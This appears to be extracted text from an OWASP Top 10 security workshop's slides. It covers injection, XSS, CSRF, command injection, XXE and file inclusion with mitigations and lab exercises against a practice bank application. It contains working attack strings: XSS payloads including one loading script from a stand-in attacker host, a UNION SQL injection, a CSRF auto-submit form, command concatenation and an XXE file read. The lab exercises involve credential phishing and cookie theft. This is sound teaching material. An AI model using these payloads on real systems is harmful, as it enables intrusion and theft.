OWASP Top10 Workshop
OWASP Top10 Workshop
Adrian Furtună
Daniel Tomescu
root@bt:~# Agenda
# Credentials:
User: bonnie , Password: Bonni3
User: clyde , Password: Clyd3
# Bank accounts:
> Bonnie:
4916843735650523 (RON)
4485580711356672 (EUR)
> Clyde:
4068444801665127 (RON)
4929497565335948 (EUR)
# This is not a hacking course. Use this knowledge for good, not for evil
Hack.lu
Hacktivity
Nuit du Hack
Defcamp
OWASP Romania
# https://www.linkedin.com/in/adrianfurtuna
> Most work duties revolve around application security and network penetration testing
# Engineer in Computer Science and Automatic Control, M.Sc. in Information Security and
Protection @ UPB
# Also interested in bug bounty programs, being mentioned in the Hall of Fame pages of:
Mozilla
Twitter
Red Hat
Vimeo
HackerOne
# Speaker at Hacknet and OWASP Romania 2015
# Contact:
> https://www.linkedin.com/in/daniel-tomescu
> [email protected], [email protected]
# Multiple releases:
> 2013
> 2010
> 2007
> 2004
> 2003
# Find out more about the project here:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
# A1 - Injection
> Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to
an interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.
> Examples:
SQL injection
OS command injection
XML injection
XPath injection
> Examples:
Unencrypted connections
Session value does not timeout or does not get invalidated after timeout
Session ID in URL
> Examples:
http://www.vuln.com/download_report.aspx?file=report2.pdf
http://www.vuln.com/user_data.jsp?folder=/images2016
# A5 - Security Misconfiguration
> Good security requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and platform.
Secure settings should be defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.
> Examples:
Debugging enabled
> Examples:
> Examples:
http://www.vuln.com/hidden_admin_link_which_nobodys_gonna_find/
> Examples:
> Examples:
http://www.vuln.com/logout?redirect=/home
> Attacker can execute arbitrary client-side scripts (i.e. JavaScript) in the
victim’s response pages
> Attacker can:
Steal victim’s cookies and use them to log into the victim’s session
Access private information from the victim’s response pages (username,
mail addresses, profile information, form data)
Make requests to the server or other websites in the name of the user
# XSS Types:
> Reflected
> Stored
> DOM based
http://vulnerable.com/search.jsp?query=<script>alert(‘Hello+world!’)</script>
# Identify user inputs (i.e. GET/POST parameters etc.) that are reflected into response pages
> Use Mozilla Firefox (does not have XSS protection by default)
> “><script>alert(document.cookie)</script>
> <img src=x onerror=alert(1)>
> “ autofocus onfocus=“alert(document.cookie)
> “><script src=“http://attacker/xss.js”></script>
# Exploitation steps:
# Mitigations:
HTTPOnly
Content Security Policy
ASP PHP
<html> <html>
<body> <body>
<% query = Request.QueryString("query") %> <?php
You searched for: <%= Server.HTMLEncode(query) %> $query = $_GET[‘query’];
</body> echo “You searched for: ”.htmlentities($query);
</html> ?>
</body>
</html>
# Find and exploit the reflected XSS from the login page such that you create
a phishing page which steals the victim’s credentials:
> Prepare the phishing url and the destination web server
> Send the phishing url to the victim (your colleague) – use Firefox here!
> Wait for the credentials
# Version 1 - reflected XSS via GET request
# Version 2 - reflected XSS via POST request
# Find and exploit the Stored XSS from the Payment History page of
NooBANK such that you steal the cookies of another user. Use those
cookies to login to the victim’s account:
<?php
$user_id = $_GET[‘user_id’];
$query = “SELECT name, address, amount FROM users WHERE (id=‘$user_id‘ AND name LIKE ‘adm%’)";
?>
http://vulnerable.com/view_user.php?user_id=3
SELECT name, address, amount FROM users WHERE (id=‘3‘ AND name LIKE ‘adm%’);
http://vulnerable.com/view_user.php?user_id=3’
SELECT name, address, amount FROM users WHERE (id=‘3’‘ AND name LIKE ‘adm%’);
# Most likely, running this query will lead to a response containing a message
similar to the following:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near...
> Authentication forms - chances are that the user credentials are
checked against a database;
> Search engines - the string submitted by the user could be used in a
SQL query;
> E-Commerce sites - the products and their characteristics are very likely
to be stored in a database;
# The second step consists of making a list of all input fields whose values
could be used in crafting a SQL query, including the hidden fields of POST
requests;
# The third step consists of testing the potentially vulnerable input fields
previously identified separately, trying to interfere with the query and to
generate an error.
SELECT name, address, amount FROM users WHERE (id=' -1') UNION SELECT username, password, 0
FROM users LIMIT 1 -- ' ' AND name LIKE 'adm%')
# Exploitation steps:
# You can learn more about SQL injection exploitation by accessing the
following resources:
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://pentestmonkey.net/category/cheat-sheet/sql-injection
# Additional defenses:
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
ASP.NET
PHP
# Exploit the SQL injection from the Payment History page in order to extract
all the usernames and passwords of NooBank. Obtain the admin’s
password and login as admin.
# Exploit the SQL injection from the Payment History page in order to obtain
remote command execution on the web server.
# In other words, CSRF exploits the trust that a web site has for a user’s
browser.
# Consider a web site that allows users to configure their web-based email
account to forward all incoming email to an alternative address:
# By viewing this HTML code, we can deduce that a legitimate request will
have a format similar to the following:
fwd_email=chris%40example.tld
# An attacker could then host code that will silently forward email messages
of any users that visit his page while remaining logged in to the target web
application.
# And the attacker code might be an innocent-looking web page such as:
<html>
<body onload=“document.csrf.submit()”>
<form action=“http://example.org/account/edit” name=“csrf” method=“post”>
<input type="hidden" name=“fwd_email" value=“[email protected]” />
</form>
</body>
</html>
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
> Generate random "challenge" tokens that are associated with the user's
current session.
> These challenge tokens are then inserted within the HTML forms and
links associated with sensitive server-side operations.
> When the user wishes to invoke these sensitive operations, the HTTP
request should include this challenge token.
> It is then the responsibility of the server application to verify the
existence and correctness of this token.
# Check The Referer Header
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
# Find and exploit the CSRF vulnerability from the User Management page
(admin interface) in order to add a new administrator account automatically:
# The is yet another vulnerability which occurs due to the use of user-supplied
input without proper validation.
# When making such a request, the server-side logic will reduce to:
…exec(“ls –l /home/bob/”)
# Depending on the application software stack, different payloads might trigger the
vulnerability:
> http://example.com/index.jsp?user=; ls –al (command concatenation)
# Try to avoid process execution methods that run through the shell, but they create the process
directly:
# Whitelist allowable characters. Characters that were missed, as well as undiscovered threats,
should be eliminated by this list.
# A “blacklist” of characters is an option (the last one) but it may be difficult to think of all of the
characters to validate against. Also there may be some that were not discovered as of yet.
# Also, the web application and its components should be running under strict permissions, with
minimum necessary privileges.
# Find and exploit the OS command injection from the Application Logs page
(admin interface) in order to execute arbitrary commands on the operating
system.
<?xml version="1.0">
<foo>bar</foo>
# What do you believe will happen if we send the following XML instead?
<?xml version="1.0">
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/issue" >
]>
<foo>&xxe;</foo>
# Intercept the requests and try to alter the legitimate XML. Your goal is to
extend the valid entities by defining new entities.
https://msdn.microsoft.com/en-us/magazine/ee335713.aspx
https://www.jardinesoftware.net/2016/05/26/xxe-and-net/
# Find and exploit the XXE from the Import Payment File page in order to list
the contents of the /etc/passwd system file.
# Find and exploit the Arbitrary File Read vulnerability from the Payment
History page in order to:
# The vulnerability occurs due to the use of user-supplied input without proper
validation.
if (isset($file)) {
include("pages/$file");
} else {
include("index.php");
}
?>
# By viewing this code, we can deduce that a legitimate request will have a
format similar to the following:
http://example.com/index.php?file=contactus.php
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
# Find and exploit the LFI vulnerability from the About page in order to:
# Avoid directly passing user-submitted input to any function that handles files
(read, write, append, etc);
> Use an identifier instead (for example the index number) to access the
selected file
# If this is not possible, whitelist the files that may be included by the page;
# Local proxies
Q&A
THE END
Thank you!